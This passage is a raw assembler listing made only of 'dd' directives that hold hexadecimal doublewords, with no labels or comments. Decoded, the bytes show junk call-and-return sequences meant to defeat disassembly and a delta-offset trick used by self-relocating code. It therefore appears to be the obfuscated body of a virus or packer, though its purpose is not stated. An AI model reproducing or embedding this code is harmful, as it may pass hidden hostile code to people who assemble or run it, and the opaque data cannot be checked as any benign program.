		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 79AEF2C3h
		dd 0FF0299EFh, 3709AD95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0B39B1B39h
		dd 27962158h, 0B5FFBBBBh, 63AB15Bh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 90C35141h, 7595FF66h, 0E806370Bh
		dd 10h,	28E81EAh, 48334170h, 0C358753Bh, 0CF70F089h, 9558509h
		dd 835F0637h, 370409BDh, 840F0206h, 32h, 0F18529h, 858B0637h
		dd 6371171h, 232B6BBh, 0E387BB46h, 0C61650h, 14E900h, 89FF0000h
		dd 84618FD4h, 0E8DE6406h, 4409ABBh, 0D3450185h,	85C7054Eh
		dd 63731D5h, 0
		dd 10E9h, 0ED9FC600h, 1D0D6612h, 266AA778h, 0AA93998Eh
		dd 0F274E992h, 0BF66FFFFh, 0C18B3014h, 5719D8Bh, 840F0637h
		dd 2, 858DDA8Bh, 6370885h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0ECC35646h, 0AA9B8424h, 659D894Ah, 90063701h
		dd 50DF8B66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 6AD17Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 1EC35646h, 0CEFEBE07h, 850167B9h
		dd 63721DDh, 0B589006Ah, 6371229h, 0E094858Dh, 6A063Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 163B93C3h, 0ACA4D37Bh, 5C083F8h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0A4C35343h,	0A7C958CBh, 1F4D9589h
		dd 89500637h, 9D8B2404h, 6370EE5h, 22359D8Bh, 6A0637h
		dd 6ADA8B66h, 0DD8D8900h, 0FF063709h, 370AED95h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0D10D52D2h, 0C699FB4Eh, 8DF5E1BDh, 3AA1358Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 2EC381B5h, 0B7A220Ah, 3709459Dh, 53D1FF06h, 11B53360h
		dd 61063714h, 9DBD835Fh, 1063708h, 81850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 423107C3h, 39863550h, 0DF8B52BEh, 6A026A5Fh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 25C0C352h, 5F0FBB66h, 8C0F5090h, 0
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0C74650FDh, 0FF46196Dh, 370BB995h, 0ADBD8B06h
		dd 0E9063700h, 0D8Eh, 0E8h, 0ED815D00h,	63BE09Eh, 4820F52h
		dd 66000000h, 5F9F57BFh, 9F19D8Bh, 9D8B0637h, 6370B31h
		dd 84C3858Dh, 810F063Ah, 6, 25BDB529h, 89500637h, 0C0B32404h
		dd 35FF64h, 80000000h, 896486C3h, 25h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 5C40023Eh, 1BE3A7E7h, 0D56FBBB5h, 85FF2AF9h,	6372A7Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 8FC35646h
		dd 5B50892Fh, 0FF6AF88Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 4C35343h, 893F80CAh, 370BC58Dh, 89B5FF06h
		dd 6A063711h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 2C43C357h, 0A1FC9C2Eh,	0FC79765Ch
		dd 0ED95FFh, 48E90637h,	8A000001h, 0B0F8F9h, 1EE5BD01h
		dd 70E60637h, 2820F60h,	60000000h, 0E961F961h, 0Bh, 1F6F264Dh
		dd 0E727028Fh, 0E46EEEC8h, 0DBBF0F71h, 830F613Ch, 113h
		dd 2F418D09h, 0B60F0637h, 21BD8BC8h, 89063712h,	3730BD85h
		dd 6BA06h, 810F0000h, 6, 1C4DBD8Bh, 0C18B0637h,	31C1BD2Bh
		dd 0E8C10637h, 0FEBF0F04h, 0E8E2F766h, 0Ch, 0D8AB80F6h
		dd 3E7E0C58h, 0ACCBB840h, 0AE9h, 51489900h, 0C4436431h
		dd 5F525B23h, 0CF81C82Bh, 2D56D377h, 8D31D18Bh,	63700D1h
		dd 0A6E9h, 619D8B00h, 8B06372Eh, 370A3DBDh, 44858B06h
		dd 0F5F4C4Ch, 0B86h, 0B70F6000h, 8C0FFBh, 61000000h, 8B07C083h
		dd 372299BDh, 0C08306h,	13E9h, 40CE0700h, 7E2CF328h, 0C2F4C5Eh
		dd 0A2864C07h, 0A3C9ECFAh, 830FD03Bh, 1Dh, 0A820Fh, 60600000h
		dd 19D2961h, 6106370Fh,	42E9h, 18D0F00h, 0F5000000h, 0FF8D8BF9h
		dd 0FFFFFFFh, 0E183DBBFh, 28840F01h, 89000000h,	371B3DBDh
		dd 18D0F06h, 0F5000000h, 0FFFFA583h, 81FEFFFFh,	255790EFh
		dd 4495897Dh, 0F5F4C4Ch, 0E9FABFh, 8D000000h, 3B6461B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 5AA43191h, 0C721CB5Bh, 6AE9DEh, 321995FFh
		dd 0BD8B0637h, 6370549h, 2985BD8Bh, 0C5B90637h,	6600000Eh
		dd 0E183FE8Bh, 56006AFCh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 345D2E6Fh, 3BBDB0FDh
		dd 0F29ABB66h, 57006AFCh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 97CAD5F6h, 459D8B32h
		dd 8906372Eh, 3717ED8Dh, 8BC02B06h, 0FD22BDEh, 1484h, 0FE900h
		dd 12640000h, 2A61FD17h, 0C0ECA379h, 0F970EA68h, 0C233AD3Ah
		dd 0D003E8D1h, 7504E983h, 0FD8D01F4h, 8106372Eh, 83C8A9DBh
		dd 880D31h, 8BFC0000h, 37187595h, 59D8906h, 8B063726h
		dd 3711958Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 4D8916A9h, 0DF75C08Fh, 50D9BF0Fh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	56006A58h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 8DBC41C3h, 0FA859BCh, 0BD33FEBFh, 63731DDh, 5859D8Bh
		dd 0BD830637h, 6372D55h, 7E840F00h, 89000000h, 3709E58Dh
		dd 0B806h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 89543CC3h, 3713D1BDh, 2B8D8D06h
		dd 8B06374Eh, 373019BDh, 6AE1FF06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 146AC353h
		dd 53E3DF2Dh, 578145BFh, 8E0Fh,	12E90000h, 0FF000000h
		dd 3CE51A27h, 0CF711286h, 29112B5Dh, 3A6A9359h,	81BD835Eh
		dd 6370Fh, 4F7840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 46AC5AC3h, 66E251FBh
		dd 0E8D6DABFh, 11h, 7CECDF50h, 3E25AEA6h, 66AEA9BDh, 0BF0C2751h
		dd 0BE984h, 14200000h, 71D46B23h, 12CC09F9h, 0BD835FAFh
		dd 6370F81h, 0B9840F01h, 8B000004h, 9BD8BFAh, 83063712h
		dd 370F81BDh, 860F0306h, 46Eh, 8D0Fh, 81600000h, 1F1B9BF7h
		dd 0D98C6660h, 6810Fh, 0BD890000h, 63718B5h, 6A04E180h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 845BC352h, 0EB894CE0h, 0EE97578h,	0CF000000h
		dd 0DA2D9145h, 0F506C799h, 0A4E64D16h, 0FC90A11h, 1EA84h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 10B76EEh, 3729298Dh, 45858B06h, 6A06372Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 64BEC351h, 71145E16h, 85334739h, 6371301h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 50C35242h
		dd 0D690B5A8h, 0C27463E8h, 52505083h, 8C0F5250h, 0
		dd 8B66310Fh, 0F585ADAh, 89585A31h, 6A2404h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 21974FC3h
		dd 612AB9DBh, 6860FD9h,	89000000h, 3725C5BDh, 0E8006A06h
		dd 4, 1F03FFh, 6E8h, 67773900h,	5073732Bh, 0E9310F52h
		dd 14h,	4754CB00h, 0FA29002Dh, 67892021h, 9615C4DDh, 0B658C2F3h
		dd 505B585Ah, 0EE8h, 135C2C00h,	7AF74F49h, 8E244E30h, 0E8E3E4EFh
		dd 0Fh,	0C13FCDCEh, 0DFFBF431h,	11187461h, 5BF3CED8h, 24448B5Bh
		dd 0BF008B04h, 74D028CAh, 4244489h, 0CE860h, 0A1FD0000h
		dd 0F79EB293h, 59DB0183h, 0DE9C60Dh, 0A2000000h, 0AE27D34Ch
		dd 0B2E11394h, 0DC840794h, 43BE665Fh, 60586128h, 60DBB866h
		dd 0EE8h, 4E240E00h, 1AC1E610h,	0CCFBAFFh, 0FF14EA7h, 6159D6BFh
		dd 2B2595FFh, 6A0637h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 3714A4C3h, 89E9DF73h, 3AB15B85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0CE69C4B1h, 0FA600BB2h, 0EB816622h, 0F4E9A60Ch
		dd 0E9000001h, 0Dh, 2A8C72A6h, 0DD695566h, 0E8B6F4E6h
		dd 418D2943h, 8B06372Fh, 3AB15385h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0ACF9DA0Dh
		dd 0F380B2EFh, 1800C7CDh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0F32C355h
		dd 6695894Eh, 2B14EF81h, 0B157B58Bh, 6A063Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 1DBAE5C3h
		dd 0F543E30Fh, 185BD8Bh, 2B600637h, 3718E9BDh, 614DB106h
		dd 0D8D858Bh, 8D890637h, 6372E55h, 95290689h, 6372205h
		dd 2F45858Bh, 6A0637h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 95012EC3h, 6370A35h, 6A044689h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 27BBC356h, 0EBB3FC46h, 0FD301F4Ah, 9CBF5096h
		dd 9607EA3Ah, 21D1BD8Bh, 0B5FF0637h, 63AB153h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 74C35141h, 0F4377FA4h
		dd 0E80F77D1h, 4, 1F03FFh, 63C7BF66h, 58F0F50h,	0BF000000h
		dd 23D7B5C1h, 424448Bh,	8B7BB7h, 44890FB7h, 0AE90424h
		dd 96000000h, 0B1013993h, 34269065h, 9D89580Ch,	6370B99h
		dd 0B15B858Dh, 6A063Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 175FAC3h, 9F403BD5h, 6047B0E7h
		dd 182D9D89h, 8D310637h, 63717DDh, 8950F961h, 0FE8B2404h
		dd 889B589h, 95FF0637h,	6372B25h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 72C35343h, 2541AAE0h, 44E38166h
		dd 81BD8B1Ch, 61063718h, 0C7FEB70Fh, 370F8185h,	306h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 3FFE1146h, 5BBD8348h, 63AB1h, 10840Fh, 81660000h, 0E95494EBh
		dd 21h,	22FD9D8Bh, 30500637h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 0D8D89C0h, 6A06371Ch, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 508C356h, 0F995891Ch, 83063713h, 370F81BDh, 850F0306h
		dd 3E4h, 4800Fh, 0BB660000h, 0BD83F45Eh, 63AB15Bh, 0CD840F00h
		dd 66000003h, 46DCF781h, 0B15BB5FFh, 6A063Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 25B2D8C3h
		dd 0C27F094Ah, 8B8171ECh, 37057D9Dh, 0FA8B6606h, 335D95FFh
		dd 0BF0F0637h, 0FAF380DBh, 0B14FB58Bh, 8D09063Ah, 6370CE5h
		dd 106C7h, 6A0001h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0C4EC87C3h, 0D38026BAh, 6653505Dh
		dd 5F359DBFh, 6A243489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 5DA9C355h, 83995E55h
		dd 0F75D543h, 0BF66D8BFh, 0B5FF1F9Bh, 63AB15Bh,	0FFFA8B66h
		dd 37183D95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0A27ABF32h, 0FE874DFh, 0AF000000h
		dd 84685A7Bh, 0F21B4A1Fh, 0C49AB79Eh, 800F5858h, 6, 0D50EC381h
		dd 8B5B48CBh, 3AB14FB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 4E223B3Fh, 46D054C6h
		dd 0BD8B3F47h, 6372A79h, 5B5858Bh, 6A0637h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 6B7BCEC3h
		dd 4EAE01ACh, 0C48689h,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 48E619C3h, 9BD0394h
		dd 8B06372Fh, 37187595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 6A609B8Ah, 8B3B6469h
		dd 4C283FAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0AEC35343h, 0D34A47EBh,	59572685h, 1C0DBD01h, 9D8B0637h
		dd 63722DDh, 9205089h, 37072185h, 0D5858D06h, 29063AC5h
		dd 3712858Dh, 0B8868906h, 9000000h, 37089185h, 0FC006A06h
		dd 13E9h, 0EC0B9E00h, 5417B308h, 0F76D6D33h, 0A8126788h
		dd 5B0C23E7h, 0B15BB5FFh, 8C0F063Ah, 18h, 13E9h, 0BAA0FA00h
		dd 0F8E0B00Ah, 50905FC2h, 2085FD13h, 0C8B8270Dh, 0BB995FFh
		dd 60960637h, 9E95250h,	52000000h, 0C252999Fh, 3AD5EC1h
		dd 8D0F310Fh, 0
		dd 5061585Ah, 870Fh, 60960000h,	0FF61C28Bh, 3AB15BB5h
		dd 4FEB8106h, 0FF3A8619h, 372E4D95h, 8B565306h,	3703F99Dh
		dd 835F5F06h, 3719E9BDh, 840F0006h, 26h, 26419D8Bh, 50960637h
		dd 810Fh, 66960000h, 0F60DE8Bh,	68Eh, 85B52B00h, 8906370Ch
		dd 371951B5h, 0B5FF6106h, 63AB15Bh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 9FC35747h, 136DBD8Bh, 0BD8B0637h
		dd 6370165h, 9AD95FFh, 8B0F0637h, 2, 0B5FFDA8Ah, 63AB15Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 95C35040h
		dd 64014208h, 6668AE53h, 95FFF88Bh, 6370B75h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0B9C35545h, 7A8B22Dh
		dd 0B5F0F4D8h, 409BD83h, 0F020637h, 4384h, 55950100h, 8B063707h
		dd 37117185h, 5E806h, 0D4050000h, 0F5B1D6BBh, 0C65Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D4C35242h, 0C3283044h
		dd 0E3812559h, 1F1E99D7h, 31D585C7h, 637h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 8F60A6C3h, 4DB3FE3Dh, 0FFF31DE9h, 0AEFCBFFFh, 0C18B6F71h
		dd 2629BD8Bh, 858D0637h, 6370885h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0DEC35141h,	0F0001E83h, 0D40DA761h
		dd 0C9953163h, 50063705h, 0D850F60h, 0E8000000h, 7, 3DD62F36h
		dd 5FA28FBFh, 6850Fh, 52500000h, 585A310Fh, 24048961h
		dd 818D8B60h, 61063719h, 6A006Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 15C35545h, 76DC6F6Dh, 313B10F9h
		dd 3725FD9Dh, 0BFFFBF06h, 9D2B07C3h, 6371245h, 0F023858Dh
		dd 6A063Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 6BCC10C3h, 889BD8Bh, 0C0830637h, 0D98B6605h
		dd 0A8C0F90h, 60000000h, 6995BF66h, 7E24BB66h, 6A905061h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 6FC0C351h, 6A006AFCh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0F4F1C356h
		dd 236D813Bh, 0F7B80C12h, 549BD8Bh, 6AF90637h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 1DAFEC00h, 0ED95FF52h, 0F906370Ah, 0A1358D8Dh, 8B60063Ah
		dd 3729BDB5h, 9CEDBE06h, 0FF6104B4h, 53006AD1h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 72A530D7h
		dd 0D49FB709h, 7633DB81h, 0BD8311FFh, 637089Dh,	63850F01h
		dd 0E9000000h, 5, 2298ED1Dh, 8B66607Dh,	14E8F7h, 806B0000h
		dd 716A58D6h, 4733C637h, 63FC1642h, 0E30EEEA8h,	9E91870h
		dd 9B000000h, 5D1A2F4Ah, 3CB2D88h, 26A615Eh, 11FDB589h
		dd 89500637h, 850F2404h, 5, 53CB8166h, 0B995FF81h, 0E906370Bh
		dd 0Ah,	0A661A1BBh, 2EBE3779h, 7E9BEFEh, 0E800000Dh, 0
		dd 2DED815Dh, 6A063BF0h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 5538C357h, 6A604BCBh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0DEC2C353h, 0C71EA03Eh, 858D1DF5h, 63A84C3h
		dd 6650FC8Ah, 489F88Bh,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0CBF29632h, 5BDAB75Eh
		dd 35FF64h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 9616C352h, 7DA17FBEh
		dd 0E9210149h, 0Dh, 53640142h, 0D79868AEh, 0E3569A99h
		dd 1DBD8978h, 64063720h, 2589h,	0D88B0000h, 2A7D85FFh
		dd 0CF810637h, 45D41E4Ah, 6AFF6Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 9712E4C3h, 5B7D6B0Ah
		dd 9D8B8FE4h, 6370C9Dh,	0A49B5FFh, 8D310637h, 63724EDh
		dd 0ED95FFh, 29E90637h,	0E9000001h, 8, 62B4CB20h, 1C1C4FE8h
		dd 0C2E4F4BFh, 8100B07Ch, 92C8AAD3h, 79BD8B7Bh,	0E606370Eh
		dd 9D096070h, 6370481h,	8E860h,	83DB0000h, 0BE032505h
		dd 615E75C2h, 8B71E461h, 372E6DBDh, 0F613C06h, 0DF83h
		dd 0AE800h, 108A0000h, 0BF78C522h, 0AB2DE850h, 11D9EB81h
		dd 0F5F7396h, 8509C8B6h, 6370AF1h, 6BAh, 75BD2300h, 8B06371Fh
		dd 0E8C1F5C1h, 0F766F904h, 35BD8BE2h, 2B063723h, 23FB8BC8h
		dd 3711ADBDh, 1D18B06h,	370F11BDh, 8EE906h, 8D290000h
		dd 6370835h, 4C50858Bh,	0C0834755h, 4CEB8007h, 8B00C083h
		dd 3732159Dh, 0FD03B06h, 2983h,	15890F00h, 0F000000h, 0F8Eh
		dd 0AE900h, 0BD40000h, 0C44A2EF2h, 0A8358A88h, 4BE9h, 66506000h
		dd 0B75FD38Bh, 8D8B6103h, 0FFFFFFFFh, 2F2DBD29h, 0E1830637h
		dd 2D840F01h, 8B000000h, 0FFA583F8h, 0FEFFFFFFh, 9E9h
		dd 5E600F00h, 9BCC203Eh, 85895C52h, 63705A1h, 4C509589h
		dd 81664755h, 0E9F144E3h, 0
		dd 7326B58Dh, 6A063Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0A1C35141h, 0AD9D4901h, 710BA900h, 219509E6h
		dd 0FF063722h, 37321995h, 29BD8B06h, 0B906370Dh, 0E8Eh
		dd 259D8B60h, 50063713h, 615B5F52h, 52CCBB66h, 66FCE183h
		dd 0FFCF98Bh, 0B8DBB7h,	8B000000h, 0BAFBh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0AFAAEEC3h, 14E97B2Bh, 2D000000h, 0BA646298h, 7DA318C6h
		dd 0B6D26F43h, 8849124Eh, 0AD448599h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0C92FC352h, 1A298D89h,	0EE90637h
		dd 85000000h, 0A880FDC4h, 0DEF8FC05h, 0E7183AD4h, 12E8D3h
		dd 0BE550000h, 15DAB13Ch, 4B70AC4Ch, 0CB8BBC17h, 735290F1h
		dd 0B276CF81h, 0D5F2DFAh, 88h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0BDC35343h,	39CD7813h, 0D9BF0F50h
		dd 75958B5Fh, 6A063718h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0BEA6C356h,	27187A0Fh
		dd 0F98D891Dh, 8B063728h, 3711958Dh, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 7C801190h
		dd 8BD577Ah, 0DEB70FFAh, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 0F88B5818h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 76C35646h, 10E8h, 0FACB3E00h,	0D1EBB09Bh
		dd 0F99D3DBCh, 12C3CB6Dh, 0B2B660ECh, 5F616DB1h, 2D55BD83h
		dd 0F000637h, 8184h, 459D0B00h,	0B8063711h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D0C35040h
		dd 69BD8B7Bh, 89063729h, 3732D59Dh, 2B8D8D06h, 6A06374Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 12AAC352h, 12E9766Dh, 0B8000000h,	53755C4Eh
		dd 709FF369h, 0F71FE784h, 0BDF8B1CAh, 80E1FF33h, 890FCDE3h
		dd 6, 929B589h,	0BD830637h, 6370F81h, 0F5840F00h, 6A000003h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0C1BDC357h, 4DBF6687h, 81BD8349h,	106370Fh
		dd 3E1840Fh, 9D890000h,	63700F5h, 0F81BD83h, 0F030637h
		dd 39886h, 0FEBF0F00h, 0D98D0160h, 66063704h, 6AD98Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 5118B4C3h, 665D00E1h, 4E18006h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0B4C35343h,	0A320F66h, 8840FC9h
		dd 1000001h, 371DE985h,	45858B06h, 6A06372Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0B545C356h, 1D15BD8Bh, 0E9600637h, 11h, 373EDF12h, 9C7E7AEDh
		dd 0D9E5B96Ch, 323B2F11h, 616060A8h, 61CBB70Fh,	1853361h
		dd 8B063713h, 4BBF50FEh, 894A4AB9h, 9D8B2404h, 637332Dh
		dd 2311BD23h, 6A0637h, 35BD2956h, 5F06372Eh, 6F200768h
		dd 2434815Ah, 5A7023F8h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 5EC35242h, 1BB5B5C7h,	0C9BD8B57h, 0F06372Bh
		dd 95FFDBB7h, 6372B25h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 34C35646h, 9D8B5739h,	6373301h, 5B85895Fh
		dd 6A063AB1h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 4A02C357h, 8BDD6C00h, 1C0E96Ah
		dd 81660000h, 8B93D1C7h, 3AB15385h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0D6403CDFh
		dd 0E853D318h, 14h, 0A2E91E6Ah,	3247E333h, 8744395Ch, 0F47EA222h
		dd 4F4DC90Eh, 0C75BD98Ah, 1800h, 75858900h, 8B06371Fh
		dd 3AB157B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0F33B1E2Ch, 68D0Fh, 0B5010000h, 637087Dh
		dd 0D8D858Bh, 6A0637h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 81E650C3h, 6E972h, 6FB50000h, 0C8C389F4h
		dd 6A0689h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 1E1A26C3h, 41EF1119h, 2F45858Bh, 6A0637h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 66341DC3h, 0BFCC10BBh, 51CAC3BDh, 8B044689h,	370159BDh
		dd 5B565006h, 6A243489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 2027C350h, 95F1B61Fh
		dd 0B153B5FFh, 6A063Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 610537C3h, 0D381BBA2h, 761CC56Bh
		dd 0B2AB9F68h, 57525043h, 0F5FFE8Bh, 0B9666031h, 54B2D3F4h
		dd 81585A61h, 0A8602434h, 0F5243ADh, 0E80h, 9E900h, 57280000h
		dd 0A34E091Bh, 5B38751Bh, 0B15B858Dh, 8E0F063Ah, 1, 665090FCh
		dd 902719BFh, 0A8C0Fh, 5E90000h, 1E000000h, 3C270157h
		dd 2B2595FFh, 6A610637h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0F540C353h,	0A76D1D20h
		dd 621FAC89h, 0F8185C7h, 30637h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0F27C38C3h
		dd 0D5B22849h, 0B7DEAB2Eh, 0DB816613h, 0BD83598Fh, 63AB15Bh
		dd 12840F00h, 0F000000h, 25E9DEBFh, 0F000000h, 487h, 0E5BF6600h
		dd 0C3050BDh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 3525F52h, 372A919Dh, 51F95F06h, 8A5B589h
		dd 835B0637h, 370F81BDh, 850F0306h, 39Ch, 94E78166h, 2DB531BEh
		dd 8306371Ch, 3AB15BBDh, 840F0006h, 384h, 7E9h,	7D653C00h
		dd 0BCE09465h, 264D8589h, 0B5FF0637h, 63AB15Bh,	95FFDF8Bh
		dd 637335Dh, 0DA57C781h, 0B58B1C4Eh, 63AB14Fh, 106C7F9h
		dd 6A000100h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 7913C350h, 2A8871Ah, 89009D7Ah
		dd 3730D9BDh, 8B669606h, 0CBBF50D8h, 964A8595h,	22DDBD8Bh
		dd 0B5FF0637h, 63AB15Bh, 0FFF9BF0Fh, 37183D95h,	13800F06h
